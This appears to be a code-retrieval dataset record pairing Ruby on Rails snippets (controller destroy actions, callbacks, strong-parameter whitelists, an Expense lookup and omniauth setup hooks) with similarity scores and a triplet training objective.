"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @farmexpense = Farmexpense.find(params[:id])\n @farmexpense.destroy\n\n respond_to do |format|\n format.html { redirect_to(farmexpenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @excuse = Excuse.find(params[:id])\n @excuse.destroy\n\n respond_to do |format|\n format.html { redirect_to excuses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @expense.destroy\n # TODO: This flash doesn't seem to be showing up?\n flash[:notice] = \"This expense has been permanently removed.\"\n\n respond_to do |format|\n format.html { redirect_to(expenses_url) }\n format.xml { head :ok }\n format.iphone { redirect_to(expenses_url) }\n end\n end",
"def destroy\n @expenditure.destroy\n respond_to do |format|\n format.html { redirect_to expenditures_url, notice: 'Expenditure was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sunshine_center_other_expense.destroy\n respond_to do |format|\n format.html { redirect_to sunshine_center_other_expenses_url, notice: 'Sunshine center other expense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @exalt = Exalt.find(params[:id])\n @exalt.destroy\n\n respond_to do |format|\n format.html { redirect_to exalts_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @defense.destroy\n respond_to do |format|\n format.html { redirect_to defenses_url, notice: 'Defense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lincense.destroy\n respond_to do |format|\n format.html { redirect_to lincenses_url, notice: 'Licensia fue exitosamente destruida.' }\n format.json { head :no_content }\n end\n end",
"def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @expense_sub_type.destroy\n respond_to do |format|\n format.html { redirect_to expense_sub_types_url, notice: 'Expense sub type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @food = Food.find(params[:id])\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @economia4 = Economia4.find(params[:id])\n @economia4.destroy\n\n respond_to do |format|\n format.html { redirect_to economia4s_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7657695",
"0.7657695",
"0.7635413",
"0.762301",
"0.75940335",
"0.7556879",
"0.7556879",
"0.74879384",
"0.74002934",
"0.7357415",
"0.7357415",
"0.7334415",
"0.7239536",
"0.72328955",
"0.7210207",
"0.71496665",
"0.71335983",
"0.7113668",
"0.71059626",
"0.7101808",
"0.7090992",
"0.7061739",
"0.70376706",
"0.70014775",
"0.699346",
"0.69819707",
"0.69782174",
"0.69607884",
"0.69542944",
"0.6945262",
"0.69257534",
"0.691035",
"0.69070673",
"0.689978",
"0.6894632",
"0.68324757",
"0.68228596",
"0.6805781",
"0.6803126",
"0.68020123",
"0.6799878",
"0.6778202",
"0.6770926",
"0.6768791",
"0.6756205",
"0.67539257",
"0.675311",
"0.67403364",
"0.6723269",
"0.6722856",
"0.67185223",
"0.6714982",
"0.6712294",
"0.6698263",
"0.668877",
"0.6686172",
"0.66785496",
"0.664132",
"0.66380733",
"0.6613494",
"0.66073257",
"0.6596362",
"0.65725785",
"0.65680754",
"0.65679413",
"0.656554",
"0.6561852",
"0.655177",
"0.654994",
"0.65445966",
"0.65436935",
"0.6542956",
"0.65238225",
"0.6513857",
"0.650583",
"0.6485279",
"0.6483177",
"0.6480526",
"0.6471054",
"0.64685583",
"0.646787",
"0.64672107",
"0.64653325",
"0.64607537",
"0.64550155",
"0.6453886",
"0.64437634",
"0.64408714",
"0.64293635",
"0.6428684",
"0.6421378",
"0.6413825",
"0.64088356",
"0.64088356",
"0.6399239"
] |
0.72726315
|
15
|
Use callbacks to share common setup or constraints between actions.
|
def set_expense
@expense = Expense.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def expense_params
params.require(:expense).permit(:date, :description, :amount, :category_id)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Omniauth setup phase hook, that is used to dynamically set up a omniauth strategy for provider on customer basis
|
def auth_setup
service = Person::OmniauthService::SetupPhase.new(community: @current_community, params: params, request: request)
service.run
render :plain => "Setup complete.", :status => 404 #This notifies the ominauth to continue
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def setup\n case\n when session.delete(:only_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?only=dtu&template=dtu_user'\n when session.delete(:prefer_dtu)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=dtu_user'\n when session.delete(:public)\n request.env['omniauth.strategy'].options[:login_url] = '/login?template=local_user'\n else\n request.env['omniauth.strategy'].options[:login_url] = '/login'\n end\n\n render :text => \"Omniauth setup phase.\", :status => 404\n end",
"def setup\n # this method gets called before *each* omniauth endpoint call, so try to avoid logging when we're returning from\n # oauth'ing\n unless stored_register_redirect\n reg_redirect = params[:r]\n reg_redirect ||= request.referer if params[:ot] && (params[:ot] == \"far\") # facebook auth referral\n store_register_redirect(reg_redirect)\n end\n\n unless stored_auth_redirect\n auth_redirect = params[:r]\n auth_redirect ||= root_path if params[:state] && (params[:state] == 'w')\n store_auth_redirect(auth_redirect)\n end\n\n remember_remember_me\n remember_signup_flow_scope\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n render :text => \"Setup complete.\", :status => 404\n end",
